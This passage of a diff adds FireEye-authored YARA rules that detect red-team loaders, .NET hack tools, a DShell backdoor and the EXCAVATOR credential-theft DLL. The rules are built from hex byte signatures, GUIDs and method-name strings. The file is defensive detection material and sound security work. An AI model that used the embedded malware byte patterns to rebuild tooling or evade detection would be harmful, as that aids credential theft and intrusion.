FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 00 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 }
+        $cond2 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 20 33 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 58 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 2C 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 }
+        $cond3 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 C7 45 ?? 00 00 00 00 C6 85 ?? ?? ?? ?? 00 68 03 01 00 00 6A 00 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 ?? 00 00 00 00 C6 45 ?? 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 6A 01 6A 00 8D 8D ?? ?? ?? ?? 51 6A 00 68 9C 10 00 10 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 6A 14 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 ?? 8B 45 ?? 8A 48 ?? 88 4D ?? 8B 55 ?? 83 C2 0C 8B 45 ?? 8B 0A 89 08 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 52 ?? 89 50 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 85 ?? ?? ?? ?? 83 C0 01 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 14 7D ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 11 0F B6 45 ?? 33 D0 8B 4D ?? 03 8D ?? ?? ?? ?? 88 11 EB ?? 8B 55 ?? 8B 42 ?? 89 45 ?? 6A 40 68 00 30 00 00 8B 4D ?? 51 6A 00 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 52 8B 45 ?? 83 C0 20 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 95 ?? ?? ?? ?? 83 C2 01 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 73 ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 09 8B 85 ?? ?? ?? ?? 99 BE 14 00 00 00 F7 FE 8B 45 ?? 0F B6 14 10 33 CA 8B 45 ?? 03 85 ?? ?? ?? ?? 88 08 EB ?? 8B 4D ?? 89 4D ?? FF 55 ?? 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 }
+        $cond4 = { 8B FF 55 8B EC 81 EC 3? ?1 ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 E0 56 C7 45 F8 ?? ?? ?? ?? C6 85 D8 FE FF FF ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 D9 FE FF FF 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 F4 ?? ?? ?? ?? C6 45 E7 ?? C7 45 E8 ?? ?? ?? ?? C7 45 EC ?? ?? ?? ?? C7 45 FC ?? ?? ?? ?? C7 45 F? ?? ?? ?? ?0 6A ?? 6A ?? 8D 8D D8 FE FF FF 51 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 F8 6A ?? FF ?? ?? ?? ?? ?? 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 ?? ?? 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF ?? ?? ?? ?? EB ?? 8B 85 D4 FE FF FF 83 C? ?1 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D ?? 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB ?? 8B 55 F8 8B 42 08 89 45 FC 6A ?? 68 ?? ?? ?? ?? 8B 4D FC 51 6A ?? FF ?? ?? ?? ?? ?? 89 45 EC 8B 55 FC 52 8B 45 F8 83 ?? ?? 50 8B 4D EC 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 D0 FE FF FF ?? ?? ?? ?? EB ?? 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 ?? 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE ?? ?? ?? ?? F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB ?? 8B 4D EC 89 4D F0 FF ?? ?? 5E 8B 4D E0 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and any of them
+}
+
+rule APT_HackTool_MSIL_LUALOADER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'lualoader' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "e8480cf8-1852-5572-8e92-c0ae676b7507"
+    strings:
+        $typelibguid0 = "8b546b49-2b2c-4577-a323-76dc713fe2ea" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_PXELOOT_2
+{
+    meta:
+        description = "This rule looks for .NET PE files that have the strings of various method names in the PXE And Loot code."
+        md5 = "d93100fe60c342e9e3b13150fd91c7d8"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        date = "2020-12-08"
+        modified = "2023-01-27"
+        id = "ff46a0e9-f7d2-57f2-9727-26b69ea5ba71"
+    strings:
+        $msil = "_CorExeMain" ascii wide
+        $str2 = "InvestigateRPC" ascii nocase wide
+        $str3 = "DhcpRecon" ascii nocase wide
+        $str4 = "UnMountWim" ascii nocase wide
+        $str5 = "remote WIM image" ascii nocase wide
+        $str6 = "DISMWrapper" ascii nocase wide
+        $str7 = "findTFTPServer" ascii nocase wide
+        $str8 = "DHCPRequestRecon" ascii nocase wide
+        $str9 = "DHCPDiscoverRecon" ascii nocase wide
+        $str10 = "GoodieFile" ascii nocase wide
+        $str11 = "InfoStore" ascii nocase wide
+        $str12 = "execute" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $msil and all of ($str*)
+}
+rule APT_HackTool_MSIL_PRAT_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'prat' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "4a876eb0-ed2f-5ef2-a9b3-ba728b07c8c0"
+    strings:
+        $typelibguid0 = "7d1219fb-a954-49a7-96c9-df9e6429a8c7" ascii nocase wide
+        $typelibguid1 = "bc1157c2-aa6d-46f8-8d73-068fc08a6706" ascii nocase wide
+        $typelibguid2 = "c602fae2-b831-41e2-b5f8-d4df6e3255df" ascii nocase wide
+        $typelibguid3 = "dfaa0b7d-6184-4a9a-9eeb-c08622d15801" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_HackTool_MSIL_SHARPNATIVEZIPPER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnativezipper' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "c48835a7-06fe-5b30-be4d-086d98dc7a21"
+    strings:
+        $typelibguid0 = "de5536db-9a35-4e06-bc75-128713ea6d27" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_Win32_REDFLARE_1
+{
+    meta:
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "01d68343ac46db6065f888a094edfe4f"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "b8a2c388-3b27-5075-b0ee-2773ae0c67ad"
+    strings:
+        $alloc_n_load = { 6A 40 68 00 30 00 00 [0-20] 6A 00 [0-20] FF D0 [4-60] F3 A4 [30-100] 6B C0 28 8B 4D ?? 8B 4C 01 10 8B 55 ?? 6B D2 28 }
+        $const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule APT_Loader_MSIL_PGF_1
+{
+    meta:
+        date = "2020-11-24"
+        modified = "2020-11-24"
+        description = "base.cs"
+        md5 = "a495c6d11ff3f525915345fb762f8047"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "39d9821f-86e8-528a-a0a9-287dbe325484"
+    strings:
+        $sb1 = { 72 [4] 6F [2] 00 0A 26 [0-16] 0? 6F [2] 00 0A [1-3] 0? 28 [2] 00 0A [0-1] 0? 72 [4-5] 0? 28 [2] 00 0A [0-1] 0? 6F [2] 00 0A 13 ?? 1? 13 ?? 38 [8-16] 91 [3-6] 8E 6? 5D 91 61 D2 9C 11 ?? 1? 58 13 [3-5] 8E 6? 3F }
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+/*
+rule APT_Backdoor_Win_DShell_2
+{
+    meta:
+        description = "This rule looks for strings specific to the D programming language in combination with a selection of Windows functions that are present within a DShell payload"
+        md5 = "e0683f8ee787313cfd2c61cd0995a830"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+    strings:
+        $dlang1 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
+        $dlang2 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\file.d" ascii wide
+        $dlang3 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\format.d" ascii wide
+        $dlang4 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
+        $dlang5 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
+        $dlang6 = "\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
+        $dlang7 = "\\..\\..\\src\\phobos\\std\\file.d" ascii wide
+        $dlang8 = "\\..\\..\\src\\phobos\\std\\format.d" ascii wide
+        $dlang9 = "\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
+        $dlang10 = "\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
+        $dlang11 = "Unexpected '\\n' when converting from type const(char)[] to type int" ascii wide
+        $ign1 = "--strip-comments"
+        $ign2 = "Usage: rdmd [RDMD AND DMD OPTIONS]"
+        $s1 = "CloseHandle"
+        $s2 = "CommandLineToArgvW"
+        $s3 = "CreateFileA"
+        $s4 = "CreateSemaphoreA"
+        $s5 = "CreateThread"
+        $s6 = "DeleteCriticalSection"
+        $s7 = "DeleteFileA"
+        $s8 = "DuplicateHandle"
+        $s9 = "EnterCriticalSection"
+        $s10 = "ExitProcess"
+        $s11 = "ExitThread"
+        $s12 = "ExpandEnvironmentStringsW"
+        $s13 = "FileTimeToDosDateTime"
+        $s14 = "FindClose"
+        $s15 = "FindFirstFileA"
+        $s16 = "FindFirstFileW"
+        $s17 = "FindNextFileA"
+        $s18 = "FindNextFileW"
+        $s19 = "FormatMessageW"
+        $s20 = "FreeEnvironmentStringsA"
+        $s21 = "FreeEnvironmentStringsW"
+        $s22 = "FreeLibrary"
+        $s23 = "GetACP"
+        $s24 = "GetCPInfo"
+        $s25 = "GetCommandLineA"
+        $s26 = "GetCommandLineW"
+        $s27 = "GetConsoleOutputCP"
+        $s28 = "GetConsoleScreenBufferInfo"
+        $s29 = "GetCurrentProcess"
+        $s30 = "GetCurrentThread"
+        $s31 = "GetCurrentThreadId"
+        $s32 = "GetEnvironmentStrings"
+        $s33 = "GetEnvironmentStringsW"
+        $s34 = "GetEnvironmentVariableA"
+        $s35 = "GetEnvironmentVariableW"
+        $s36 = "GetExitCodeThread"
+        $s37 = "GetFileAttributesW"
+        $s38 = "GetFileType"
+        $s39 = "GetLastError"
+        $s40 = "GetModuleFileNameA"
+        $s41 = "GetModuleHandleA"
+        $s42 = "GetOEMCP"
+        $s43 = "GetProcAddress"
+        $s44 = "GetProcessHeap"
+        $s45 = "GetStdHandle"
+        $s46 = "GetStringTypeA"
+        $s47 = "GetSystemInfo"
+        $s48 = "GetThreadContext"
+        $s49 = "GetTickCount"
+        $s50 = "GetTimeZoneInformation"
+        $s51 = "GetVersion"
+        $s52 = "GlobalAlloc"
+        $s53 = "GlobalFree"
+        $s54 = "GlobalMemoryStatus"
+        $s55 = "HeapAlloc"
+        $s56 = "HeapFree"
+        $s57 = "HeapReAlloc"
+        $s58 = "InitializeCriticalSection"
+        $s59 = "IsDebuggerPresent"
+        $s60 = "LCMapStringA"
+        $s61 = "LeaveCriticalSection"
+        $s62 = "LoadLibraryA"
+        $s63 = "LoadLibraryW"
+        $s64 = "LocalFree"
+        $s65 = "MessageBoxA"
+        $s66 = "MultiByteToWideChar"
+        $s67 = "QueryPerformanceCounter"
+        $s68 = "QueryPerformanceFrequency"
+        $s69 = "RaiseException"
+        $s70 = "ReadFile"
+        $s71 = "RegCloseKey"
+        $s72 = "RegCreateKeyExW"
+        $s73 = "RegDeleteKeyW"
+        $s74 = "RegDeleteValueW"
+        $s75 = "RegEnumKeyExW"
+        $s76 = "RegEnumValueW"
+        $s77 = "RegFlushKey"
+        $s78 = "RegOpenKeyExW"
+        $s79 = "RegOpenKeyW"
+        $s80 = "RegQueryInfoKeyW"
+        $s81 = "RegQueryValueExW"
+        $s82 = "RegSetValueExW"
+        $s83 = "ReleaseSemaphore"
+        $s84 = "ResumeThread"
+        $s85 = "RtlCaptureContext"
+        $s86 = "RtlUnwind"
+        $s87 = "SetConsoleCtrlHandler"
+        $s88 = "SetEnvironmentVariableW"
+        $s89 = "SetFilePointer"
+        $s90 = "SetHandleCount"
+        $s91 = "SetLastError"
+        $s92 = "Sleep"
+        $s93 = "SuspendThread"
+        $s94 = "SwitchToThread"
+        $s95 = "SystemTimeToTzSpecificLocalTime"
+        $s96 = "TryEnterCriticalSection"
+        $s97 = "TzSpecificLocalTimeToSystemTime"
+        $s98 = "UnhandledExceptionFilter"
+        $s99 = "VirtualAlloc"
+        $s100 = "VirtualFree"
+        $s101 = "WaitForSingleObject"
+        $s102 = "WideCharToMultiByte"
+        $s103 = "WriteConsoleA"
+        $s104 = "WriteFile"
+        $s105 = "lstrlenW"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize > 500KB and filesize > 700KB and all of ($s*) and 1 of ($dlang*) and not $ign1 and not $ign2
+}
+*/ 
+
+rule CredTheft_Win_EXCAVATOR_2
+{
+    meta:
+        description = "This rule looks for the binary signature of the routine that calls PssFreeSnapshot found in the Excavator-Reflector DLL."
+        md5 = "6a9a114928554c26675884eeb40cc01b"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "89037b9a-78b0-5a8c-bb60-3d54842d81e1"
+    strings:
+        $bytes1 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A0 01 00 00 48 8B 05 4C 4A 01 00 48 33 C4 48 89 85 90 00 00 00 BA 50 00 00 00 C7 05 CB 65 01 00 43 00 3A 00 66 89 15 EC 65 01 00 4C 8D 44 24 68 48 8D 15 D8 68 01 00 C7 05 B2 65 01 00 5C 00 57 00 33 C9 C7 05 AA 65 01 00 69 00 6E 00 C7 05 A4 65 01 00 64 00 6F 00 C7 05 9E 65 01 00 77 00 73 00 C7 05 98 65 01 00 5C 00 4D 00 C7 05 92 65 01 00 45 00 4D 00 C7 05 8C 65 01 00 4F 00 52 00 C7 05 86 65 01 00 59 00 2E 00 C7 05 80 65 01 00 44 00 4D 00 C7 05 72 68 01 00 53 00 65 00 C7 05 6C 68 01 00 44 00 65 00 C7 05 66 68 01 00 42 00 75 00 C7 05 60 68 01 00 47 00 50 00 C7 05 5A 68 01 00 72 00 69 00 C7 05 54 68 01 00 56 00 69 00 C7 05 4E 68 01 00 4C 00 45 00 C7 05 48 68 01 00 67 00 65 00 C7 05 12 67 01 00 6C 73 61 73 C7 05 0C 67 01 00 73 2E 65 78 C6 05 09 67 01 00 65 FF 15 63 B9 00 00 45 33 F6 85 C0 74 66 48 8B 44 24 68 48 89 44 24 74 C7 44 24 70 01 00 00 00 C7 44 24 7C 02 00 00 00 FF 15 A4 B9 00 00 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF 15 1A B9 00 00 85 C0 74 30 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF 15 EF B8 00 00 FF 15 11 B9 00 00 48 8B 4C 24 48 FF 15 16 B9 00 00 48 89 9C 24 B0 01 00 00 48 8D 0D BF 2E 01 00 48 89 B4 24 B8 01 00 00 4C 89 74 24 40 FF 15 1C B9 00 00 48 85 C0 0F 84 B0 00 00 00 48 8D 15 AC 2E 01 00 48 8B C8 FF 15 1B B9 00 00 48 8B D8 48 85 C0 0F 84 94 00 00 00 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 06 15 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 63 66 0F 1F 44 00 00 48 8B 4C 24 40 4C 8D 45 80 41 B9 04 01 00 00 33 D2 FF 15 89 B8 00 00 48 8D 15 F2 65 01 00 48 8D 4D 80 E8 49 0F 00 00 48 85 C0 75 38 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 A3 14 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 A3 33 C0 E9 F5 00 00 00 48 8B 5C 24 40 48 8B CB FF 15 5E B8 00 00 8B F0 48 85 DB 74 E4 85 C0 74 E0 4C 8D 4C 24 50 48 89 BC 24 C0 01 00 00 BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 12 B8 00 00 85 C0 0F 85 A0 00 00 00 48 8D 05 43 FD FF FF 4C 89 74 24 30 C7 44 24 28 80 00 00 00 48 8D 0D 3F 63 01 00 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 4C 89 74 24 60 FF 15 E4 B7 00 00 48 8B F8 48 83 F8 FF 74 59 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 00 00 00 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF 15 B1 B9 00 00 48 8B CB FF 15 78 B7 00 00 48 8B CF FF 15 6F B7 00 00 FF 15 B1 B7 00 00 48 8B 54 24 50 48 8B C8 FF 15 53 B7 00 00 33 C9 FF 15 63 B7 00 00 CC 48 8B CB FF 15 49 B7 00 00 48 8B BC 24 C0 01 00 00 33 C0 48 8B B4 24 B8 01 00 00 48 8B 9C 24 B0 01 00 00 48 8B 8D 90 00 00 00 48 33 CC E8 28 00 00 00 4C 8B B4 24 C8 01 00 00 48 81 C4 A0 01 00 00 5D C3 }
+        $bytes2 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 }
+        $bytes3 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? 